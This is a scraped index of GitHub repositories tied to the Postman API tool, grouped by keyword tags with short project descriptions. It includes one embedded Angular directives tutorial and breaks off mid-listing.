application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
regeanish/Mean-Hotel
client, data, database, display, form, format, hotel, information, play, playing, reviews, server, test, testing, user 		Created a Hotel API where user can add, delete, update hotel name and reviews using NodeJS(Express) and MongoDB. Used RESTful API HTTP client POSTMAN for testing. Additionally, building UI for displaying information coming from the server & database about the hotel using AngularJS 0 stars 0 watchers 0 forks
nandhithakamal/playing-postman
description, play, playing, script 		No description available. 0 stars 0 watchers 0 forks
codecraze143/POSTMAN-MASTER
play, playing 		Postman Basics and playing with APIs 0 stars 0 watchers 0 forks
matt-ball/users-api
memory, play, playing, user, users 		Mock in-memory API for playing around with Postman. 0 stars 0 watchers 0 forks
robbiebowman/postmanpat
play, playing 		Kotlin project for playing around with HubSpot's Slack Bot SDK 0 stars 0 watchers 0 forks
wwbbrr/postman-node-shopping-list
http, list, node, play, playing, shopping 		playing around with http.createServer and REST 0 stars 0 watchers 0 forks
YangCatalog/site_health
check, collection, collections, comparing, container, play, playing, public, result, site 		This container checks the health if YangCatalog by playing the public Postman collections and comparing the results. 0 stars 0 watchers 0 forks

common (9 listings) (Back to Top)

hkamel/azuredevops-postman-collections
azure, collection, collections, common, devops, test 		The collections allows you to test common Azure DevOps Rest APIs from within Postman. 0 stars 0 watchers 35 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
0xHiteshPatel/f5-postman-workflows
common, complex, extension, function, functions, intended, workflow 		This extension is intended to be used with Postman. The purpose of this extension is to implement common functions that simplify building Collections that implement complex workflows 0 stars 0 watchers 3 forks
DrSnowbird/rest-dev-vnc-docker
common, docker, rest, tool, tools 		Restful / SOAP API Development with common tools in VNC/noVNC-based Docker 1 stars 1 watchers 0 forks
jabelk/cisco-nso-postman
cisco, collection, common, generate, grant, sample, task, tasks 		A collection of sample NSO API calls for common tasks, also used to generate the Swagger Docs Examples. All created using the nso-vagrant set up. 1 stars 1 watchers 0 forks
digipolisantwerp/common-api-tests_js
common, file, script, scripts, test, tests 		Bundled of the most commonly used Postman test scripts in one JavaScript file. 0 stars 0 watchers 2 forks
AtScaleInc/postman-bdd-common
common, description, script 		No description available. 0 stars 0 watchers 1 forks
saveenchad/AjaxExplorer
common, config, configuration, configurations, fields, form, play, remote, send, tool, user 		The Super Endpoint Explorer (SEE) app will allow the end user to craft requests to a remote end-point by filling out various form fields, send the request and show the response, and save common request configurations for later playback. The form of the tool is roughly like the Chrome Extension called Postman or an OSX HTTP exploration like Paw but obviously less polished and feature laden. 0 stars 0 watchers 0 forks
syedamanat/Maven-Spring-hibernate-docker
collection, collections, common, deploying, docker, function, functional, functionalities, hibernate, to do 		Developing common usage functionalities, REST-led with Postman collections and also deploying to docker. 0 stars 0 watchers 0 forks

helper (9 listings) (Back to Top)

DannyDainton/newman-reporter-htmlextra
helper, helpers, html, module, newman, report, reporter, template, templates 		A HTML reporter for Postman's Command Line Runner, Newman. Includes Non Aggregated Runs broken down by Iterations, Skipped Tests, Console Logs and the handlebars helpers module for better custom templates. 0 stars 0 watchers 34 forks
guvkon/postman_helper
function, functions, helper, test 		Tool which adds some helpful functions to test JSON responses in Postman/Newman. 1 stars 1 watchers 0 forks
danielxcom/todolist_using_api_and_ajax
actor, ajax, file, helper, list, operation, operations, service, services, syntax, test, tested, todo 		Test-run of ajax syntax, todolist using RESTful web services tested with POSTMAN. Refactored REST operations in Promises + put them in helper file to make modular todos.js. Schema created using MongoDB 0 stars 0 watchers 0 forks
DJMare/Sequelize_RESTfulAPI_ParameterizedRoute_HelperFunction
data, database, express, function, helper, parameter, parameterized, route, routes, spec 		An express app connecting to mySQL database and implementing RESTful API to return specific id data using parameterized routes and helper function from a GET request in Postman that returns JSON data. 0 stars 0 watchers 0 forks
ericmartineau/pm-helper
helper 		Postman Helpers 0 stars 0 watchers 0 forks
girirajvyas/rakuten-ems-helpers
collection, data, helper, helpers, test 		Repository of the test data, Postman collection,.. for rakuten-ems 0 stars 0 watchers 0 forks
ktxxt/posty
helper, posty, test, tests 		Posty: The postman API tests helper 0 stars 0 watchers 0 forks
RajaBellebon/helper
helper 		Helper for Python, C#, JS, POSTMAN 0 stars 0 watchers 0 forks
xinsnake/oauth-cmd-helper
api blueprint, asyncapi, auth, helper, json schema, oauth, openid, sql 		OAuth2 Command Line helper... Tired of using Browser + Postman... 0 stars 0 watchers 0 forks

crypto (9 listings) (Back to Top)

onkarpandit/cryptocurrency
blockchain, chai, crypto, cryptocurrency, currency, frontend, implementation, java, local, locally, script 		My own cryptocurrency implementation with blockchain and frontend using java script.Hosted locally on postman. 2 stars 2 watchers 0 forks
thisismanishkumar/mk_coin-crypto_currency-
crypto, currency 		We create our very own crypto_currency using Flask and Postman. 2 stars 2 watchers 0 forks
joolfe/postman-util-lib
crypto, library, rocket, script, tabs, util, utility 		:rocket: A crypto utility library to be used from Postman Pre-request and Tests script tabs. 0 stars 0 watchers 3 forks
vishnoitanuj/Blockchain-Cryptocurrency
basics, blockchain, chai, crypto, currency, file, flask, implementation, server, server., servers, struct, suggest, welcome 		A basic implementation of blockchain based on flask server. It servers the basics of crypto-currency technology. The genesis, block constructor and its use are explained in the read-me file. Any suggestions are welcomed. 0 stars 0 watchers 2 forks
Harshrajsinh96/Crypto_APIs
action, blockchain, chai, crypto, currency, data, framework, setup, test, tested 		Created REST APIs for a blockchain crypto-currency where Wallet and Transactions entities were handled using SQLAlchemy mapper in Flask framework and the data was persisted in SQLite DB. Whole setup with GET/POST/DELETE request was tested on Postman. 0 stars 0 watchers 0 forks
HP213/My_first_cryptocurrency
action, chai, comments, connection, crypto, cryptocurrency, currency, http, local, locally, node, require, suggest, system, transactions, understanding, user 		Using Blockchain, I made my first cryptocurrency, I suggest using postman for better understanding. Baiscally we made an decentralized system of transferring cryptocurrency. It is runnig locally on http://127.0.0.1:5001/ you can chage port according to requirement and new user. Post request is made to add transactions and create a new node and get request to block new mine and get chain. Everything mentioned in code with comments, we have made three ports http://127.0.0.1:5002/, http://127.0.0.1:5003/, http://127.0.0.1:5004/, to show connections between three miners "A" "B" and "C". You can make more 0 stars 0 watchers 0 forks
alsanchez-dev/todo-api-server
crypto, server, todo 		A todo server API with Auth, JWT, crypto-js no front-end but Postman 0 stars 0 watchers 0 forks
SudharshanShanmugasundaram/Cryptocurrency-Icecubes
crypto, cryptocurrency, currency 		Implementation of my very own cryptocurrency Icecubes 0 stars 0 watchers 0 forks
sumeetrohra/cryptocurrency
crypto, cryptocurrency, currency, python, test, tested 		This is a basic cryptocurrency made using python Flask and tested in postman 0 stars 0 watchers 0 forks

alternative (9 listings) (Back to Top)

liyasthomas/postwoman
alternative, builder, free, http, https, native, postwoman 		👽 A free, fast and beautiful API request builder (web alternative to Postman) https://postwoman.io 18028 stars 18028 watchers 1105 forks
yojji-io/metaman
alternative, builder, included, meta, native, workspace 		Postman alternative request builder (workspaces included) 2 stars 2 watchers 1 forks
missingfaktor/tapal
alternative, command, command line, light, lightweight, native 		A lightweight command line alternative to Postman 1 stars 1 watchers 0 forks
RapsIn4/archer
alternative, light, lightweight, native, source 		A lightweight open-sourced POSTMAN alternative 1 stars 1 watchers 0 forks
bigknife/outman
alternative, native 		an alternative of POSTMAN 0 stars 0 watchers 2 forks
rafi/req8
alternative, file, files, native, terminal 		Manage HTTP RESTful APIs per-project in YAML files (Postman alternative for the terminal) 0 stars 0 watchers 2 forks
dvrax/req-do
alternative, native 		A GUI alternative to cURL / Postman 0 stars 0 watchers 0 forks
nehero/simple-query
alternative, native, network, query 		Simple postman alternative for making network requests. 0 stars 0 watchers 0 forks
TylerMoser/postmanrunner
alternative, collection, collections, executing, native, runner, test 		An alternative UI for executing Postman test collections 0 stars 0 watchers 0 forks

profile (9 listings) (Back to Top)

Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
RachellCalhoun/craftsite
django, ember, favorite, file, image, images, login, message, posts, profile, site, unit, upload 		This is a crafts and food community site. There is sign-up/login and out. Logged in members can message eachother with Postman-django app. All members create their own profile with image, and info. They can also upload favorite craft/food images, comment on others posts or ask questions. 1 stars 1 watchers 2 forks
jolie1191/Eng-Connector-React-Nodejs-Project
auth, authentication, backed, backend, dashborad, file, files, network, posts, profile, profiles, social, stat 		- A small social network with authentication, profiles, dashborad, posts - More Details: - Create backedn API with Node/Express - Test with Postman - Explore the Bootstrap Theme - Implement React and connect with the backend - Implement Redux for state management - Prepare, build & deploy to Heroku 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
Adobe-Marketing-Cloud/exchange-aep-profile-integration-postman
assist, collection, exchange, file, files, integration, partner, partners, postman collection, profile 		A postman collection to assist Exchange partners to build an integration with AEP Profiles 0 stars 0 watchers 0 forks
potaeko/Github-Finder
course, file, find, profile, test, testing, user 		Github-Finder: to find Github user profile. Created with React context and Github API, testing with Postman from Udemy online course. 0 stars 0 watchers 0 forks
BaneleMlamleli/profile
application, file, profile, user 		Spring Boot application that will use REST API to create, read, update and delete a user profile 0 stars 0 watchers 0 forks
SandhyaHV/EXPRESS-API
consisting, file, profile 		API consisting of credential entry and profile view using postman 0 stars 0 watchers 0 forks
VPihalov/Social-network
auth, authentication, developer, developers, file, files, forum, implementation, implementations, includes, network, posts, profile, profiles, social 		It is a social network app for developers that includes authentication, profiles, forum posts. App is based on MERN stack (MongoDB, Mongoose, React, Redux, Nodejs, Express). Main implementations are React Hooks, Redux, Postman, Bcrypt, Heroku, Git flow 0 stars 0 watchers 0 forks

desktop (9 listings) (Back to Top)

tony709394/postchildren-desktop
desktop, postwoman, test, tool, visual, visualization 		👨‍👦‍👦 A E2E test visualization tool (get along with postman and postwoman) 15 stars 15 watchers 0 forks
TakuCoder/postman
desktop, desktops, devices, header, including, method, methods, parameter, pretty, stat, status, style, submit, support, supported, test, testing, tool 		Postman is a REST API testing tool for Android devices. It helps to test REST API without desktops. can submit a HTTP request with several headers, parameters and raw request body by 6 different HTTP methods including GET, POST, HEAD, PUT, DELETE and PATCH. HTTP response can be shown as three styles including pretty, raw and preview. Response status code and headers are also supported in Postman-Android. Currently in Development Stage 3 stars 3 watchers 2 forks
denwood/linux_desktop_tools
compose, desktop, docker, dump, intallation, python, tool, tools 		Basic tools intallation by Ansible 2.7 for Linux Desktop : VisualCode + Extension pack, python, pychar, git, gitgrakcen, zsh, terminator, tcpdump, subl3txt, postman, docker , docker-compose, ... 0 stars 0 watchers 0 forks
grlib/apiman
apiman, desktop, smart 		apiman is a desktop app like Postman, But more smart 0 stars 0 watchers 0 forks
byekobe/redisproject
desktop, middleware, redis, tool, tools 		For beginners,this project based on SpringBoot,which redis cache middleware been deployed on linux and postman,redis desktop some tools also been used. 0 stars 0 watchers 0 forks
Gwickstrom/restfulTaskApi
desktop, rest, restful 		restfulTaskAPI using POSTMAN desktop app. 0 stars 0 watchers 0 forks
mycelo1/PostBoy
desktop, util, utility 		Postman-like desktop utility 0 stars 0 watchers 0 forks
TiagoBani/postman_install_ubuntu
desktop, file, install, ubuntu 		Download tar.gz and create desktop file 0 stars 0 watchers 0 forks
yogibaba2/Postman-electron
collection, desktop, electron, postman collection 		An electron based desktop app to manage postman collection 0 stars 0 watchers 0 forks

dummy (9 listings) (Back to Top)

Shekhar-Shashank/Complaint-Lodging
android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing 		It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. 0 stars 0 watchers 0 forks
ahmedmohamed1101140/laravel-api
data, docs, dummy, laravel, product, products, resource, reviews, source 		simple api app contains dummy data about products and it's reviews built using laravel api resource docs 0 stars 0 watchers 0 forks
marykayrima/Postman_dummy_testing
dummy, employee, employees, example, http, rest, restapi, test, testing 		http://dummy.restapiexample.com/api/v1/employees 0 stars 0 watchers 0 forks
niroshan009/postman-dummy-test
description, dummy, script, test 		No description available. 0 stars 0 watchers 0 forks
Story-TellerX/Postman-request-collection-dummy-
collection, dummy, form, performance, test, testing 		This is first performance of my REST testing with Postman 0 stars 0 watchers 0 forks
actionpay/postmanq-dummy
action, dummy 		Небольшой сервис заглушка для создания тестовых локаций и замены там PostmanQ 0 stars 0 watchers 0 forks
harenlewis/api-hub
access, accessed, advance, advanced, application, development, dummy, mock, multiple, server, server., user, users 		A mock server application where in development or dummy APIs can be created and accessed by multiple users. Similar to Postman's advanced mock server. 0 stars 0 watchers 0 forks
paulushcgcj/jwtdummyserver
dummy, server 		JWT Dummy Server to be used during JWT Tests 0 stars 0 watchers 0 forks
theunresolvable/cricketers-dummy-db-crud
crud, dummy 		NODE-EXPRESS-BODY-PARSER-POSTMAN-CRICKETERS-DUMMY-DB-CRUD 0 stars 0 watchers 0 forks

studio (9 listings) (Back to Top)

flipboxstudio/postman-test-generator
description, generator, script, studio, test 		No description available. 0 stars 0 watchers 2 forks
Shekhar-Shashank/Complaint-Lodging
android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing 		It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. 0 stars 0 watchers 0 forks
evelynda1985/mulesoft-consume-soap-app
